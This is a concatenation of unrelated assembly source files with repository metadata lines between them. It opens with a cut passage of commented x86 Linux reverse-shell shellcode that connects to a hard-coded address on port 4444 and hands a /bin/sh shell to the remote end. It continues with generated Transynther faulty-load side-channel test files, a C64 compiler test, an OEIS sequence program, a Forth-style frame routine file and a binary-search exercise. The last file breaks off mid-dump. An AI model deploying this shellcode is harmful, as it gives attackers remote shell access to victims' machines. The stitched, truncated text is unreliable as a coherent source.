; We should avoid null bytes in ip
; So the stack looks like this:
xor eax, eax ; Clearing eax
push eax ; We cannot have null byte. in our code. But we need to align the stack
push eax ; Again
mov ebx, 0x02010180 ; The ip (in non-expected format, each plus one) 2.1.1.128
sub ebx, 0x01010101 ; The offset
push ebx ; Pushing it to stack
push word 0x5c11 ; Now the port (4444) is on stack
push word 0x02 ; Pushing AF_INET to stack
; call socket(int family, int type, int protocol)
; to make a new socket, We will get the result of socket fd on eax
; Which we will transfer to ebx
; The code below, Clears ebx, ecx, edx,
; Then sets eax to 359 (0x167 in hex), Then sets ebx to 2 (AF_INET)
; also ecx to 1 (SOCKET_STREAM), Then calls socket to get the socket
; Then moves the result to ebx
xor ebx, ebx ; Clearing ebx
xor ecx, ecx ; Clearing ecx
xor edx, edx ; Clearing edx
mov ax, 0x167 ; 359 (socket call)
mov bl, 0x02 ; AF_INET
mov cl, 0x01 ; SOCK_STREAM
int 0x80 ; Hey kernel! Over here!
mov ebx, eax ; ebx now holds the socket fd
; call connect(int fd, struct sockaddr *uservaddr, int addrlen)
; to connect the socket back to attacker
; This code below, Sets ecx to 362, Moves the sockadrr_in struct from stack to ecx
; Then calculates the size of the structure then finally calls connect
mov ax, 0x16A ; 362 (connect call)
mov ecx, esp ; Things in stack (the sockaddr_in struct)
mov edx, ebp ; The "bottom" of the stack
sub edx, esp ; size of the structure
int 0x80 ; KERNEL!
; call dup2(unsigned int oldfd, unsigned int newfd)
; to replace STDIN, STDOUT and STDERR
; Do note that the socket fd is in ebx, which helps
; dup2 doesn't use edx, So we shouldn't worry about it
xor ecx, ecx ; Clearing ecx
mov cl, 0x3 ; Now ecx will be 3 (STDERR + 1)
; Do note that our socket fd is still in ebx. we just need to set ecx
; Now we reach this loop, I used jns, but the result had null byte
; So i came to loop, You may see something weird here
; I decrease ecx before call and increase it after it.
; That's because i need to replace 0 (STDIN), too
std: ; This loops uses dup2 on STDIN, STDOUT, STDERR
xor eax, eax ; Cleaning eax
mov al, 0x3f ; 63 (dup2)
dec ecx ; The loop automatically decreases it, But we need to do it once more
int 0x80 ; Kernel, Can you dup2?
inc ecx ; Increasing it
loop std ; Loop std to replace the standard handlers
; Each time it loops, It decreases the ecx then increases it after call,
; So each loop is -1, +1 (-2 because of loop)
; This is because the loop stops if ecx becomes 0
; But we need to duplicate standard input too
; Now, We just need to use execve on /bin/sh, Then done!
xor eax, eax ; Clearing eax
xor edx, edx ; Clearing edx, as execve uses data in edx
push eax ; The string should be null terminated
push 0x68732f2f ; "//sh" in reverse and hex
mov al, 0xb ; 11 (execve)
push 0x6e69622f ; ; "/bin" in reverse hex order
mov ebx, esp ; The /bin//sh is on stack, well, now in ebx
int 0x80 ; Hmm, KERNEL!
; Well, Here we don't exist anymore, We are /bin/sh now!
| 52.976744 | 101 | 0.582309 |
7e0b78c2a02b261ec5d59c9c1c98c325ff095883 | 8,042 | asm | Assembly | Transynther/x86/_processed/NONE/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_13546_1575.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_13546_1575.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_13546_1575.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r14
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x207c, %r11
nop
cmp %rdi, %rdi
mov (%r11), %ecx
nop
nop
nop
nop
sub %r13, %r13
lea addresses_WC_ht+0x8db4, %rsi
lea addresses_A_ht+0x35b4, %rdi
nop
nop
cmp %r13, %r13
mov $114, %rcx
rep movsl
nop
nop
nop
xor %r11, %r11
lea addresses_normal_ht+0x1e872, %rdi
sub %r10, %r10
mov $0x6162636465666768, %r13
movq %r13, %xmm0
vmovups %ymm0, (%rdi)
dec %r11
lea addresses_A_ht+0x132d4, %rsi
lea addresses_A_ht+0x11534, %rdi
nop
nop
nop
xor %r14, %r14
mov $68, %rcx
rep movsw
nop
sub $64014, %rsi
lea addresses_normal_ht+0x1552c, %r13
nop
nop
sub $19619, %rdi
mov (%r13), %si
and $8524, %r14
lea addresses_UC_ht+0x14f74, %r13
cmp %r10, %r10
movw $0x6162, (%r13)
nop
nop
nop
nop
xor $40619, %r13
lea addresses_normal_ht+0xfb34, %rsi
lea addresses_D_ht+0x11334, %rdi
cmp %r14, %r14
mov $50, %rcx
rep movsb
nop
nop
nop
nop
xor %r14, %r14
lea addresses_D_ht+0x999e, %rsi
clflush (%rsi)
nop
nop
nop
nop
sub $30249, %r14
mov (%rsi), %r13d
nop
nop
nop
nop
dec %rsi
lea addresses_WC_ht+0x103ec, %r10
nop
sub $39314, %r13
vmovups (%r10), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
nop
nop
nop
nop
sub $43874, %r13
lea addresses_D_ht+0x16d82, %rsi
lea addresses_UC_ht+0xc7b4, %rdi
nop
nop
nop
nop
nop
dec %r13
mov $59, %rcx
rep movsl
nop
and $15296, %rdi
lea addresses_UC_ht+0x16d20, %rsi
clflush (%rsi)
nop
nop
and $40623, %r10
mov (%rsi), %r14w
nop
xor $64121, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r15
push %r9
push %rax
push %rcx
// Store
lea addresses_PSE+0xd65c, %rax
nop
nop
nop
add $33232, %r10
movw $0x5152, (%rax)
nop
nop
nop
xor %rax, %rax
// Store
mov $0xa74, %r13
nop
nop
nop
cmp %rax, %rax
mov $0x5152535455565758, %r15
movq %r15, %xmm5
vmovups %ymm5, (%r13)
dec %r10
// Store
lea addresses_PSE+0x1283b, %r15
nop
nop
nop
nop
nop
and %rcx, %rcx
mov $0x5152535455565758, %r13
movq %r13, %xmm5
movups %xmm5, (%r15)
nop
nop
sub %r13, %r13
// Store
lea addresses_D+0x515c, %rcx
nop
sub $22851, %r13
mov $0x5152535455565758, %r15
movq %r15, (%rcx)
nop
add %r11, %r11
// Store
lea addresses_A+0x1a734, %r15
nop
nop
nop
nop
xor %rax, %rax
movl $0x51525354, (%r15)
sub $8737, %rcx
// Faulty Load
lea addresses_A+0x1a734, %r10
nop
sub $9877, %rcx
movups (%r10), %xmm7
vpextrq $1, %xmm7, %r15
lea oracles, %rax
and $0xff, %r15
shlq $12, %r15
mov (%rax,%r15,1), %r15
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}}
[Faulty Load]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'44': 8, '45': 92, '78': 1, 'ff': 2, '46': 42, '00': 13401}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00
*/
| 34.221277 | 2,999 | 0.651952 |
53755321a055241d71022b9af29a1edc82ec06f6 | 724 | asm | Assembly | src/test/ref/global-pc-multiple.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/test/ref/global-pc-multiple.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/test/ref/global-pc-multiple.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | // Test setting the program PC through a #pc directive
// Commodore 64 PRG executable file
.file [name="global-pc-multiple.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$2000]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.label BG_COLOR = $d021
.label RASTER = $d012
.segment Code
main: {
// asm
sei
__b1:
// if(*RASTER<30)
lda RASTER
cmp #$1e
bcc __b2
// *BG_COLOR = 0
lda #0
sta BG_COLOR
jmp __b1
__b2:
// incScreen()
jsr incScreen
jmp __b1
}
incScreen: {
// *BG_COLOR = *RASTER
lda RASTER
sta BG_COLOR
// }
rts
}
| 19.567568 | 69 | 0.631215 |
cf94faaeda9f14931d6903b1f4b88048e1d8eeea | 524 | asm | Assembly | oeis/254/A254377.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/254/A254377.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/254/A254377.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A254377: Characteristic function of A230709: a(n) = 1 if n is either evil (A001969) or even odious (A128309), otherwise 0 (when n is odd odious).
; Submitted by Jamie Morken(m3)
; 1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1
dif $0,-2
max $0,0
seq $0,120 ; 1's-counting sequence: number of 1's in binary expansion of n (or the binary weight of n).
add $0,1
mod $0,2
| 52.4 | 201 | 0.624046 |
409016c41f6f8b1c3c034db884e10500596e3620 | 1,926 | asm | Assembly | x86/src/64/frames.asm | sneakin/north | bff0fdaa6d4641c54c4dc9942948e2edd34f2251 | [
"Linux-OpenIB"
] | 2 | 2019-02-25T19:20:26.000Z | 2019-05-11T00:32:01.000Z | x86/src/64/frames.asm | sneakin/north | bff0fdaa6d4641c54c4dc9942948e2edd34f2251 | [
"Linux-OpenIB"
] | null | null | null | x86/src/64/frames.asm | sneakin/north | bff0fdaa6d4641c54c4dc9942948e2edd34f2251 | [
"Linux-OpenIB"
] | null | null | null | defop current_frame
pop rax
push fp
push rax
ret
defop begin_frame
pop rax
push fp
mov fp, rsp
jmp rax
defop drop_frame
pop rax
mov rsp, fp
pop fp
jmp rax
defop end_frame
mov fp, [fp]
ret
defalias pop_frame,end_frame
;;;
;;; Returns
;;;
defop drop_locals
pop rax
mov rsp, fp
jmp rax
defop continue ; end the frame, leave the stack intact, and return to caller
add rsp, ptrsize
mov eval_ip, [fp+ptrsize]
mov rax, [fp+ptrsize*2]
mov fp, [fp]
jmp rax
defop return0 ; stash ToS, drop the frame, roll stash, and exit fn
mov rsp, fp
pop fp
pop eval_ip
ret
defop return_1 ; drops an argument
mov rsp, fp
pop fp
pop eval_ip
pop rax
add rsp, ptrsize
jmp rax
defop return1
mov rax, [rsp+ptrsize]
mov rsp, fp
pop fp
pop eval_ip
pop rbx
push rax
push rbx
ret
defop return2
mov rax, [rsp+ptrsize]
mov rbx, [rsp+ptrsize*2]
mov rsp, fp
pop fp
pop eval_ip
pop rcx
push rax
push rbx
push rcx
ret
defop quit
mov rbx, [rsp+ptrsize] ; keep the ToS as C expects a return value
mov rax, [fp] ; pop frames until the parent frame is 0
cmp rax, 0
je .done
mov fp, rax
jmp quit_asm
.done:
mov rsp, fp ; enter the top most frame
pop fp
pop eval_ip
pop rax ; save return to the top frame's caller
push rbx ; return with the ToS
jmp rax
;;;
;;; Call Arguments
;;;
defop args
lea rax, [fp+ptrsize*3]
pop rbx
push rax
push rbx
ret
defop arg0
mov rax, [fp+ptrsize*3]
pop rbx
push rax
push rbx
ret
defop arg1
mov rax, [fp+ptrsize*4]
pop rbx
push rax
push rbx
ret
;;;
;;; Local data
;;;
defop locals
lea rax, [fp-ptrsize*1]
pop rbx
push rax
push rbx
ret
defop local0
mov rax, [fp-ptrsize*1]
pop rbx
push rax
push rbx
ret
| 14.373134 | 93 | 0.6054 |
3df6bd27e2294e87b97d591fca7bb8b2ea7acb14 | 259 | asm | Assembly | libsrc/_DEVELOPMENT/adt/ba_priority_queue/c/sdcc_iy/ba_priority_queue_destroy_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/ba_priority_queue/c/sdcc_iy/ba_priority_queue_destroy_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/ba_priority_queue/c/sdcc_iy/ba_priority_queue_destroy_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; void ba_priority_queue_destroy_fastcall(ba_priority_queue_t *q)
SECTION code_adt_ba_priority_queue
PUBLIC _ba_priority_queue_destroy_fastcall
_ba_priority_queue_destroy_fastcall:
INCLUDE "adt/ba_priority_queue/z80/asm_ba_priority_queue_destroy.asm"
| 23.545455 | 72 | 0.88417 |
9ff6fa17dde8310216556eb7403ed984324d1e93 | 1,026 | asm | Assembly | assembly_code/chp3_05.asm | Nabeegh-Ahmed/BelalHashmi-Assembly-Exercise-Solutions | a990de801ea136395904bd40b6ba162f3e1fa966 | [
"MIT"
] | 104 | 2018-08-25T00:01:41.000Z | 2022-01-26T14:07:32.000Z | assembly_code/chp3_05.asm | Nabeegh-Ahmed/BelalHashmi-Assembly-Exercise-Solutions | a990de801ea136395904bd40b6ba162f3e1fa966 | [
"MIT"
] | 5 | 2021-01-14T14:04:39.000Z | 2021-06-14T10:48:35.000Z | assembly_code/chp3_05.asm | Nabeegh-Ahmed/BelalHashmi-Assembly-Exercise-Solutions | a990de801ea136395904bd40b6ba162f3e1fa966 | [
"MIT"
] | 29 | 2018-09-19T19:26:34.000Z | 2021-04-29T21:01:26.000Z | ;Binary Search
[org 0x0100]
jmp start1
data: db 1,2,3,4,5,6,7,8,9,10,11
start: db 0
end: db 10
key: db -1
start1: mov al,[key]
loop1: mov cl,[start]
cmp cl,[end]
ja end1 ;Checking if(start<=end), if not then jump to end1
mov dl,[start]
add dl,[end] ;dl is basically now start + end
sar dl,1 ;here dl is being divided by 2
mov bl,dl ;bl is mid and is calculated by (start + end)/2
cmp al, [data + bx]
je store ; agar data mil gaya tw program end kar do
ja step1 ; agar data greater hai current element sey
jb step2 ; agar data smaller hai current element sey
step1: add dl,1 ;mid + 1 kar do
mov [start],dl ;start ko ab mid + 1 kar do taakey hum mid se aagey jaga par dekhein
jmp loop1
step2: sub dl,1 ;mid -1 kar do
mov[end],dl ;end ko ab mid - 1 kar do taakey hum mid se previous jaga par dekhein
jmp loop1
store: mov ax, 1
mov ax,0x4c00
int 21h
end1: mov ax,0
mov ax,0x4c00
int 21h
| 22.8 | 90 | 0.611111 |
88bd501dda99a32978b729050d4f3833d6619afb | 7,472 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_575.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_575.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_575.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x3909, %r12
nop
xor %r8, %r8
mov (%r12), %r14d
nop
nop
nop
add %r15, %r15
lea addresses_UC_ht+0x1a2c9, %rsi
lea addresses_normal_ht+0x14c9, %rdi
and %r11, %r11
mov $99, %rcx
rep movsq
nop
nop
nop
nop
dec %r11
lea addresses_A_ht+0x160f9, %rsi
lea addresses_WC_ht+0x1e3c9, %rdi
nop
nop
nop
sub %r12, %r12
mov $100, %rcx
rep movsw
nop
nop
and %r11, %r11
lea addresses_WC_ht+0xeac9, %rsi
lea addresses_D_ht+0xccc9, %rdi
nop
nop
nop
cmp %r11, %r11
mov $99, %rcx
rep movsw
nop
nop
nop
sub %rsi, %rsi
lea addresses_WT_ht+0xf50, %rsi
lea addresses_WT_ht+0xf4c9, %rdi
clflush (%rsi)
nop
and %r15, %r15
mov $20, %rcx
rep movsq
nop
sub $27487, %r15
lea addresses_normal_ht+0xfec9, %r15
clflush (%r15)
nop
sub $47927, %r12
mov $0x6162636465666768, %rcx
movq %rcx, (%r15)
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_A_ht+0xe8c9, %rcx
nop
nop
nop
nop
nop
add %r11, %r11
mov $0x6162636465666768, %r8
movq %r8, (%rcx)
nop
xor $1780, %r11
lea addresses_WT_ht+0x655d, %r11
nop
nop
sub $32026, %rcx
movb (%r11), %r12b
nop
add %rsi, %rsi
lea addresses_A_ht+0x158d1, %rsi
lea addresses_UC_ht+0x15f9, %rdi
clflush (%rsi)
clflush (%rdi)
xor %r11, %r11
mov $13, %rcx
rep movsl
nop
nop
nop
nop
cmp $60922, %rdi
lea addresses_A_ht+0x1b4c9, %r8
nop
nop
sub $3009, %r12
mov $0x6162636465666768, %r11
movq %r11, %xmm6
movups %xmm6, (%r8)
nop
nop
nop
cmp %r15, %r15
lea addresses_WT_ht+0x16cc9, %rsi
sub %r11, %r11
mov (%rsi), %rcx
nop
nop
nop
nop
nop
add $51800, %r15
lea addresses_WC_ht+0x123f9, %r11
nop
nop
nop
nop
nop
add %rdi, %rdi
mov (%r11), %r12w
xor %rsi, %rsi
lea addresses_D_ht+0x154c9, %rdi
add %r12, %r12
mov (%rdi), %r11d
nop
sub $28768, %r14
lea addresses_A_ht+0x1063d, %rdi
nop
nop
nop
nop
nop
and $1185, %rsi
movl $0x61626364, (%rdi)
nop
nop
nop
sub %r8, %r8
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %r9
push %rax
push %rdi
// Faulty Load
lea addresses_normal+0x11cc9, %rax
nop
nop
and $40786, %r8
mov (%rax), %r9d
lea oracles, %r15
and $0xff, %r9
shlq $12, %r9
mov (%r15,%r9,1), %r9
pop %rdi
pop %rax
pop %r9
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 2}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 